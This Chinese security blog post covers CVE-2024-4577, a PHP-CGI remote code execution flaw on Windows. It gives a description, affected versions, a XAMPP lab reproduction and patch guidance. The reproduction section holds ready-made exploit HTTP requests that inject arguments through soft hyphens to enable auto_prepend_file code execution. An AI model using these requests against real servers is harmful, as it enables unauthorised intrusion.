PHP-CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

李火火安全阁 2024-07-16 12:05:03 阅读 72

文章目录

前言声明一、简介二、漏洞描述三、影响版本四、漏洞复现五、漏洞修复


前言

PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性,当 PHP-CGI 运行在Window平台且使用了如下语系(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求绕过 CVE-2012-1823 补丁,从而可在无需登陆的情况下<code>执行任意PHP代码


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、简介

PHP是Hypertext Preprocessor(超文本预处理器)的缩写,现是一种广泛使用的开源的脚本语言,它特别适合Web开发和嵌入HTML中,使用起来很简单。

CGI,英文叫做公共网关接口,就是Apache在遇到PHP脚本时会将PHP程序提交给CGI应用程序(php-cgi.exe)解释,解释之后的结果返回给Apache,然后再返回给相应的请求用户。

二、漏洞描述

PHP在设计时忽略了Windows中的Best-Fit字符转换特性。当PHP-CGI在Windows平台上运行并使用特定语系(如简体中文936、繁体中文950、日文932等)时,攻击者可以构造特殊查询字符串。URL解码后,这些字符串可能包含特定非ASCII字符,这些字符在Windows系统上会被映射为连字符,从而绕过CVE-2012-1823及CVE-2012-2311补丁,构造cgi模式的命令行参数,执行任意PHP代码。

三、影响版本

PHP Windows版 8.3.0 <= 影响版本 < 8.3.8PHP Windows版 8.2.0 <= 影响版本 < 8.2.20PHP Windows版 8.1.0 <= 影响版本 < 8.1.29PHP Windows版 影响版本 == 8.0.xPHP Windows版 影响版本 == 7.xPHP Windows版 影响版本 == 5.xXAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25XAMPP Windows版 影响版本 == 8.0.xXAMPP Windows版 影响版本 == 7.xXAMPP Windows版 影响版本 == 5.x

四、漏洞复现

服务器环境

XAMPP Windows版 8.2.12

服务端下载并安装 XAMPP:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

或者自主去这里挑受影响版本:https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

环境启动

在这里插入图片描述

浏览器访问 http://127.0.0.1

在这里插入图片描述

EXP1:

可用于绕过WAF场景 + 默认场景:

<code>python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

例如

python CVE-2024-4577-PHP-RCE.py 127.0.0.1:80

EXP2:

可用于SSRF场景 + 默认场景:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP3:

可用于默认场景:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1

Host: PhpServerHost

<?php die("Te"."sT");?>

EXP4:

可用于默认场景:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1

Host: PhpServerHost

REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

本地复现

RCE获取服务器信息

在这里插入图片描述

获取PHPinfo信息

在这里插入图片描述

脚本探测

在这里插入图片描述

五、漏洞修复

目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。

<code>PHP 8.3 >= 8.3.8

PHP 8.2 >= 8.2.20

PHP 8.1 >= 8.1.29

下载地址:https://www.php.net/downloads.php



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。